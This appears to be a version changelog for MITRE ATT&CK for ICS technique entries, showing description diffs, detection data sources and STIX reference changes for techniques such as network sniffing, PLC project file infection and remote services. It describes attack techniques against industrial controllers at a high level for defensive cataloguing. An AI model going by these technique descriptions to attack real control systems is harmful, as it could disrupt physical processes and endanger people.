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|
|---|
| t | Adversaries may perform network connection enumeration to di | t | Adversaries may perform network connection enumeration to di |
| scover information about device communication patterns. If a | | scover information about device communication patterns. If a |
| n adversary can inspect the state of a network connection wi | | n adversary can inspect the state of a network connection wi |
| th tools, such as [https://en.wikipedia.org/wiki/Netstat net | | th tools, such as [https://en.wikipedia.org/wiki/Netstat net |
| stat], in conjunction with <span class="smw-format list-form | | stat], in conjunction with [System Firmware](https://attack. |
| at "><span class="smw-row"><span class="smw-field"><span cla | | mitre.org/techniques/T0857), then they can determine the rol |
| ss="smw-value">System Firmware</span></span></span></span>, | | e of certain devices on the network (Citation: MITRE). The |
| then they can determine the role of certain devices on the n | | adversary can also use [Network Sniffing](https://attack.mit |
| etwork (Citation: EAttack System Network Connections Discov | | re.org/techniques/T0842) to watch network traffic for detail |
| ery). The adversary can also use Network Sniffing to watch n | | s about the source, destination, protocol, and content. |
| etwork traffic for details about the source, destination, pr | | |
| otocol, and content. | | |
New Detections:
- DS0009: Process (OS API Execution)
- DS0009: Process (Process Creation)
- DS0017: Command (Command Execution)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.892000+00:00 |
| description | Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as [https://en.wikipedia.org/wiki/Netstat netstat], in conjunction with System Firmware, then they can determine the role of certain devices on the network (Citation: EAttack System Network Connections Discovery). The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content. | Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as [https://en.wikipedia.org/wiki/Netstat netstat], in conjunction with [System Firmware](https://attack.mitre.org/techniques/T0857), then they can determine the role of certain devices on the network (Citation: MITRE). The adversary can also use [Network Sniffing](https://attack.mitre.org/techniques/T0842) to watch network traffic for details about the source, destination, protocol, and content. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0840 | https://attack.mitre.org/Technique/T0840 |
| external_references[1]['source_name'] | EAttack System Network Connections Discovery | MITRE |
| external_references[1]['description'] | MITRE. (n.d.). System Network Connections Discovery. Retrieved May 31, 2018. | MITRE System Network Connections Discovery Retrieved. 2018/05/31 |
[T0842] Network Sniffing
Current version: 1.0
Version changed from: 0.0 → 1.0
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|
|---|
| t | Network sniffing is the practice of using a network interfac | t | Network sniffing is the practice of using a network interfac |
| e on a computer system to monitor or capture information (Ci | | e on a computer system to monitor or capture information (Ci |
| tation: EAttack Network Sniffing) regardless of whether it i | | tation: Enterprise ATT&CK January 2018) regardless of whethe |
| s the specified destination for the information. An adver | | r it is the specified destination for the information. An |
| sary may attempt to sniff the traffic to gain information ab | | adversary may attempt to sniff the traffic to gain informat |
| out the target. This information can vary in the level of i | | ion about the target. This information can vary in the leve |
| mportance. Relatively unimportant information is general co | | l of importance. Relatively unimportant information is gene |
| mmunications to and from machines. Relatively important inf | | ral communications to and from machines. Relatively importa |
| ormation would be login information. User credentials may b | | nt information would be login information. User credentials |
| e sent over an unencrypted protocol, such as [https://tools. | | may be sent over an unencrypted protocol, such as [https:// |
| ietf.org/html/rfc854 Telnet], that can be captured and obtai | | tools.ietf.org/html/rfc854 Telnet], that can be captured and |
| ned through network packet analysis. Network sniffing can be | | obtained through network packet analysis. In addition, ARP |
| a way to discover information for <span class="smw-format l | | and Domain Name Service (DNS) poisoning can be used to capt |
| ist-format "><span class="smw-row"><span class="smw-field">< | | ure credentials to websites, proxies, and internal systems b |
| span class="smw-value">Control Device Identification</span>< | | y redirecting traffic to an adversary. |
| /span></span></span>. In addition, ARP and Domain Name Ser | | |
| vice (DNS) poisoning can be used to capture credentials to w | | |
| ebsites, proxies, and internal systems by redirecting traffi | | |
| c to an adversary. Detection: Detecting the events leading | | |
| up to sniffing network traffic may be the best method of det | | |
| ection. From the host level, an adversary would likely need | | |
| to perform a man-in-the-middle attack against other devices | | |
| on a wired network in order to capture traffic that was not | | |
| to or from the current compromised system. This change in th | | |
| e flow of information is detectable at the enclave network l | | |
| evel. Monitor for ARP spoofing and gratuitous ARP broadcasts | | |
| . Detecting compromised network devices is a bit more challe | | |
| nging. Auditing administrator logins, configuration changes, | | |
| and device images is required to detect malicious changes. | | |
New Detections:
- DS0009: Process (Process Creation)
- DS0017: Command (Command Execution)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.893000+00:00 |
| description | Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: EAttack Network Sniffing) regardless of whether it is the specified destination for the information.
An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as [https://tools.ietf.org/html/rfc854 Telnet], that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification.
In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. | Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: Enterprise ATT&CK January 2018) regardless of whether it is the specified destination for the information. An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as [https://tools.ietf.org/html/rfc854 Telnet], that can be captured and obtained through network packet analysis. In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0842 | https://attack.mitre.org/Technique/T0842 |
| external_references[1]['source_name'] | EAttack Network Sniffing | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Network Sniffing. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 Network Sniffing Retrieved. 2018/05/17 |
[T0861] Point & Tag Identification
Current version: 1.0
Version changed from: 0.0 → 1.0
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|
|---|
| t | Adversaries may collect point and tag values to gain a more | t | Adversaries may collect point and tag values to gain a more |
| comprehensive understanding of the process environment. Poin | | comprehensive understanding of the process environment. Poin |
| ts may be values such as inputs, memory locations, outputs o | | ts may be values such as inputs, memory locations, outputs o |
| r other process specific variables. (Citation: References - | | r other process specific variables. (Citation: Dennis L. Slo |
| tags process comprehension) Tags are the identifiers given t | | atman September 2016) Tags are the identifiers given to poin |
| o points for operator convenience. Collecting such tags pr | | ts for operator convenience. Collecting such tags provides |
| ovides valuable context to environmental points and enables | | valuable context to environmental points and enables an adv |
| an adversary to map inputs, outputs, and other values to the | | ersary to map inputs, outputs, and other values to their con |
| ir control processes. Understanding the points being collect | | trol processes. Understanding the points being collected may |
| ed may inform an adversary on which processes and values to | | inform an adversary on which processes and values to keep t |
| keep track of over the course of an operation. | | rack of over the course of an operation. |
New Detections:
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.894000+00:00 |
| description | Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: References - tags process comprehension) Tags are the identifiers given to points for operator convenience.
Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation. | Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: Dennis L. Sloatman September 2016) Tags are the identifiers given to points for operator convenience. Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0861 | https://attack.mitre.org/Technique/T0861 |
| external_references[1]['source_name'] | References - tags process comprehension | Dennis L. Sloatman September 2016 |
| external_references[1]['description'] | Benjamin Green. (n.d.). On the Significance of Process Comprehension for Conducting Targeted ICS Attacks. Retrieved November 1, 2019. | Dennis L. Sloatman 2016, September 16 Understanding PLC Programming Methods and the Tag Database System Retrieved. 2017/12/19 |
| external_references[1]['url'] | http://www.research.lancs.ac.uk/portal/files/196578358/sample%20sigconf.pdf | https://www.radioworld.com/industry/understanding-plc-programming-methods-and-the-tag-database-system |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Benjamin Green', 'description': 'Benjamin Green Dennis L. Sloatman 2016, September 16 Understanding PLC Programming Methods and the Tag Database System Retrieved. 2017/12/19 On the Significance of Process Comprehension for Conducting Targeted ICS Attacks Retrieved. 2019/11/01 ', 'url': 'http://www.research.lancs.ac.uk/portal/files/196578358/sample_sigconf.pdf'} |
[T0843] Program Download
Current version: 1.0
Version changed from: 0.0 → 1.0
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|---|
| t | Adversaries may perform a program download to transfer a use | t | Adversaries may perform a program download to transfer a use |
| r program to a controller. ariations of program download, su | | r program to a controller. Variations of program download, |
| ch as online edit and program append, allow a controller to | | such as online edit and program append, allow a controller |
| continue running during the transfer and reconfiguration pro | | to continue running during the transfer and reconfiguration |
| cess without interruption to process control. However, befor | | process without interruption to process control. However, be |
| e starting a full program download (i.e., download all) a co | | fore starting a full program download (i.e., download all) a |
| ntroller may need to go into a stop state. This can have neg | | controller may need to go into a stop state. This can have |
| ative consequences on the physical process, especially if th | | negative consequences on the physical process, especially if |
| e controller is not able to fulfill a time-sensitive action. | | the controller is not able to fulfill a time-sensitive acti |
| Adversaries may choose to avoid a download all in favor of | | on. Adversaries may choose to avoid a download all in favor |
| an online edit or program append to avoid disrupting the phy | | of an online edit or program append to avoid disrupting the |
| sical process. An adversary may need to use the technique De | | physical process. An adversary may need to use the technique |
| tect Operating Mode or Change Operating Mode to make sure th | | Detect Operating Mode or Change Operating Mode to make sure |
| e controller is in the proper mode to accept a program downl | | the controller is in the proper mode to accept a program do |
| oad. The granularity of control to transfer a user program i | | wnload. The granularity of control to transfer a user pro |
| n whole or parts is dictated by the management protocol (e.g | | gram in whole or parts is dictated by the management protoco |
| ., S7CommPlus, TriStation) and underlying controller API. Th | | l (e.g., S7CommPlus, TriStation) and underlying controller A |
| us, program download is a high-level term for the suite of v | | PI. Thus, program download is a high-level term for the suit |
| endor-specific API calls used to configure a controller’s us | | e of vendor-specific API calls used to configure a controlle |
| er program memory space. Modify Controller Tasking and Modif | | rs user program memory space. [Modify Controller Tasking] |
| y Program represent the configuration changes that are trans | | (https://attack.mitre.org/techniques/T0821) and [Modify Prog |
| ferred to a controller via a program download. | | ram](https://attack.mitre.org/techniques/T0889) represent th |
| | | e configuration changes that are transferred to a controller |
| | | via a program download. |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0040: Operational Databases (Device Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | ['Joe Slowik - Dragos'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.894000+00:00 |
| description | Adversaries may perform a program download to transfer a user program to a controller. ariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controller’s user program memory space. Modify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download. | Adversaries may perform a program download to transfer a user program to a controller. Variations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controllers user program memory space. [Modify Controller Tasking](https://attack.mitre.org/techniques/T0821) and [Modify Program](https://attack.mitre.org/techniques/T0889) represent the configuration changes that are transferred to a controller via a program download. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0843 | https://attack.mitre.org/Technique/T0843 |
[T0845] Program Upload
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-13 15:07:32.143000+00:00 | 2022-04-21 22:02:03.894000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0845 | https://attack.mitre.org/Technique/T0845 |
[T0873] Project File Infection
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may attempt to infect project files with malicio | t | Adversaries may attempt to infect project files with malicio |
| us code. These project files may consist of objects, program | | us code. These project files may consist of objects, program |
| organization units, variables such as tags, documentation, | | organization units, variables such as tags, documentation, |
| and other configurations needed for PLC programs to function | | and other configurations needed for PLC programs to function |
| . (Citation: References - beckhoff project files) Using buil | | . (Citation: Beckhoff) Using built in functions of the engin |
| t in functions of the engineering software, adversaries may | | eering software, adversaries may be able to download an infe |
| be able to download an infected program to a PLC in the oper | | cted program to a PLC in the operating environment enabling |
| ating environment enabling further execution and persistence | | further [[execution]] and [[persistence]] techniques. (Citat |
| techniques. (Citation: References - plcdev siemens) Advers | | ion: PLCdev) Adversaries may export their own code into pro |
| aries may export their own code into project files with cond | | ject files with conditions to execute at specific intervals. |
| itions to execute at specific intervals. (Citation: Stuxnet | | (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien Febr |
| - Symantec - 201102) Malicious programs allow adversaries co | | uary 2011) Malicious programs allow adversaries control of a |
| ntrol of all aspects of the process enabled by the PLC. Once | | ll aspects of the process enabled by the PLC. Once the proje |
| the project file is downloaded to a PLC the workstation dev | | ct file is downloaded to a PLC the workstation device may be |
| ice may be disconnected with the infected project file still | | disconnected with the infected project file still executing |
| executing. (Citation: References - plcdev siemens) | | . (Citation: PLCdev) |
New Detections:
- DS0022: File (File Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.896000+00:00 |
| description | Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: References - beckhoff project files) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. (Citation: References - plcdev siemens)
Adversaries may export their own code into project files with conditions to execute at specific intervals. (Citation: Stuxnet - Symantec - 201102) Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing. (Citation: References - plcdev siemens) | Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: Beckhoff) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further [[execution]] and [[persistence]] techniques. (Citation: PLCdev) Adversaries may export their own code into project files with conditions to execute at specific intervals. (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing. (Citation: PLCdev) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0873 | https://attack.mitre.org/Technique/T0873 |
| external_references[1]['source_name'] | Stuxnet - Symantec - 201102 | Beckhoff |
| external_references[1]['description'] | Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017. | Beckhoff TwinCAT 3 Source Control: Project Files Retrieved. 2019/11/21 |
| external_references[1]['url'] | https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf | https://infosys.beckhoff.com/english.php?content=../content/1033/tc3_sourcecontrol/18014398915785483.html&id= |
| external_references[2]['source_name'] | References - beckhoff project files | PLCdev |
| external_references[2]['description'] | Beckhoff. (n.d.). TwinCAT 3 Source Control: Project Files. Retrieved November 21, 2019. | PLCdev Beckhoff TwinCAT 3 Source Control: Project Files Retrieved. 2019/11/21 Siemens SIMATIC Step 7 Programmer's Handbook Retrieved. 2019/11/21 |
| external_references[2]['url'] | https://infosys.beckhoff.com/english.php?content=../content/1033/tc3%20sourcecontrol/18014398915785483.html&id= | http://www.plcdev.com/book/export/html/373 |
| external_references[3]['source_name'] | References - plcdev siemens | Nicolas Falliere, Liam O Murchu, Eric Chien February 2011 |
| external_references[3]['description'] | PLCdev. (n.d.). Siemens SIMATIC Step 7 Programmer's Handbook. Retrieved November 21, 2019. | Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 |
| external_references[3]['url'] | http://www.plcdev.com/book/export/html/373 | https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'PLCdev', 'description': "PLCdev Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 Siemens SIMATIC Step 7 Programmer's Handbook Retrieved. 2019/11/21 ", 'url': 'http://www.plcdev.com/book/export/html/373'} |
[T0886] Remote Services
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may leverage remote services to move between ass | t | Adversaries may leverage remote services to move between ass |
| ets and network segments. These services are often used to a | | ets and network segments. These services are often used to a |
| llow operators to interact with systems remotely within the | | llow operators to interact with systems remotely within the |
| network, some examples are RDP, SMB, SSH, and other similar | | network, some examples are RDP, SMB, SSH, and other similar |
| mechanisms. Remote services could be used to support remote | | mechanisms. (Citation: Blake Johnson, Dan Caban, Marina Krot |
| access, data transmission, authentication, name resolution, | | ofil, Dan Scali, Nathan Brubaker, Christopher Glyer December |
| and other remote functions. Further, remote services may be | | 2017) (Citation: Dragos December 2017) (Citation: Joe Slowi |
| necessary to allow operators and administrators to configure | | k April 2019) Remote services could be used to support remo |
| systems within the network from their engineering or manage | | te access, data transmission, authentication, name resolutio |
| ment workstations. An adversary may use this technique to ac | | n, and other remote functions. Further, remote services may |
| cess devices which may be dual-homed to multiple network seg | | be necessary to allow operators and administrators to config |
| ments, and can be used for Program Download or to execute at | | ure systems within the network from their engineering or man |
| tacks on control devices directly through Valid Accounts. Sp | | agement workstations. An adversary may use this technique to |
| ecific remote services (RDP & VNC) may be a precursor to ena | | access devices which may be dual-homed (Citation: Blake Joh |
| ble Graphical User Interface execution on devices such as HM | | nson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker |
| Is or engineering workstation software. In the Oldsmar water | | , Christopher Glyer December 2017) to multiple network segme |
| treatment attack, adversaries gained access to the system t | | nts, and can be used for [Program Download](https://attack.m |
| hrough remote access software, allowing for the use of the s | | itre.org/techniques/T0843) or to execute attacks on control |
| tandard operator HMI interface.(Citation: Oldsmar Water Trea | | devices directly through [Valid Accounts](https://attack.mit |
| tment Attack Feb 2021) Based on incident data, CISA and FBI | | re.org/techniques/T0859). Specific remote services (RDP & V |
| assessed that Chinese state-sponsored actors also compromise | | NC) may be a precursor to enable [Graphical User Interface]( |
| d various authorized remote access channels, including syste | | https://attack.mitre.org/techniques/T0823) execution on devi |
| ms designed to transfer data and/or allow access between cor | | ces such as HMIs or engineering workstation software. In th |
| porate and ICS networks.(Citation: CISA Chinese Gas Pipeline | | e Oldsmar water treatment attack, adversaries gained access |
| Intrusion 2011 - 2013 July 2021) | | to the system through remote access software, allowing for t |
| | | he use of the standard operator HMI interface. (Citation: Pi |
| | | nellas County Sheriffs Office February 2021) Based on incid |
| | | ent data, CISA and FBI assessed that Chinese state-sponsored |
| | | actors also compromised various authorized remote access ch |
| | | annels, including systems designed to transfer data and/or a |
| | | llow access between corporate and ICS networks. (Citation: |
| | | Department of Justice (DOJ), DHS Cybersecurity & Infrastruct |
| | | ure Security Agency (CISA) July 2021) |
New Detections:
- DS0009: Process (Process Creation)
- DS0017: Command (Command Execution)
- DS0028: Logon Session (Logon Session Creation)
- DS0029: Network Traffic (Network Connection Creation)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
- DS0033: Network Share (Network Share Access)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Daisuke Suzuki'] |
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.899000+00:00 |
| description | Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software. In the Oldsmar water treatment attack, adversaries gained access to the system through remote access software, allowing for the use of the standard operator HMI interface.(Citation: Oldsmar Water Treatment Attack Feb 2021) Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) | Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. (Citation: Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017) (Citation: Dragos December 2017) (Citation: Joe Slowik April 2019) Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed (Citation: Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017) to multiple network segments, and can be used for [Program Download](https://attack.mitre.org/techniques/T0843) or to execute attacks on control devices directly through [Valid Accounts](https://attack.mitre.org/techniques/T0859). Specific remote services (RDP & VNC) may be a precursor to enable [Graphical User Interface](https://attack.mitre.org/techniques/T0823) execution on devices such as HMIs or engineering workstation software. In the Oldsmar water treatment attack, adversaries gained access to the system through remote access software, allowing for the use of the standard operator HMI interface. (Citation: Pinellas County Sheriffs Office February 2021) Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks. (Citation: Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0886 | https://attack.mitre.org/Technique/T0886 |
| external_references[1]['source_name'] | FireEye TRITON December 2017 | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017 |
| external_references[1]['description'] | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018. | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer 2017, December 14 Attackers Deploy New ICS Attack Framework TRITON and Cause Operational Disruption to Critical Infrastructure Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Dragos TRISIS December 2017 | Dragos December 2017 |
| external_references[2]['description'] | Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 12, 2018. | Dragos 2017, December 13 TRISIS Malware Analysis of Safety System Targeted Malware Retrieved. 2018/01/12 |
| external_references[3]['source_name'] | Dragos IT ICS Ransomware December April 2019 | Joe Slowik April 2019 |
| external_references[3]['description'] | Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019. | Joe Slowik 2019, April 10 Implications of IT Ransomware for ICS Environments Retrieved. 2019/10/27 |
| external_references[4]['source_name'] | Oldsmar Water Treatment Attack Feb 2021 | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017 |
| external_references[4]['description'] | Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021. | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer 2017, December 14 Attackers Deploy New ICS Attack Framework TRITON and Cause Operational Disruption to Critical Infrastructure Retrieved. 2018/01/12 |
| external_references[4]['url'] | https://www.youtube.com/watch?v=MkXDSOgLQ6M | https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html |
| external_references[5]['source_name'] | CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021 | Pinellas County Sheriffs Office February 2021 |
| external_references[5]['description'] | ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021. | Pinellas County Sheriffs Office 2021, February 8 Treatment Plant Intrusion Press Conference Retrieved. 2021/10/08 |
| external_references[5]['url'] | https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf | https://www.youtube.com/watch?v=MkXDSOgLQ6M |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) July 2021', 'description': 'Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) 2021, July 20 Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013 Retrieved. 2021/10/08 ', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} |
| x_mitre_platforms | | Engineering Workstation |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Engineering Workstation | |
[T0846] Remote System Discovery
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may attempt to get a listing of other systems by | t | Adversaries may attempt to get a listing of other systems by |
| IP address, hostname, or other logical identifier on a netw | | IP address, hostname, or other logical identifier on a netw |
| ork that may be used for subsequent Lateral Movement or Disc | | ork that may be used for subsequent Lateral Movement or Disc |
| overy techniques. Functionality could exist within adversary | | overy techniques. Functionality could exist within adversary |
| tools to enable this, but utilities available on the operat | | tools to enable this, but utilities available on the operat |
| ing system or vendor software could also be used.(Citation: | | ing system or vendor software could also be used. (Citation: |
| EAttack Remote System Discovery) | | Enterprise ATT&CK January 2018) |
New Detections:
- DS0009: Process (Process Creation)
- DS0017: Command (Command Execution)
- DS0022: File (File Access)
- DS0029: Network Traffic (Network Connection Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.900000+00:00 |
| description | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used.(Citation: EAttack Remote System Discovery) | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used. (Citation: Enterprise ATT&CK January 2018) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0846 | https://attack.mitre.org/Technique/T0846 |
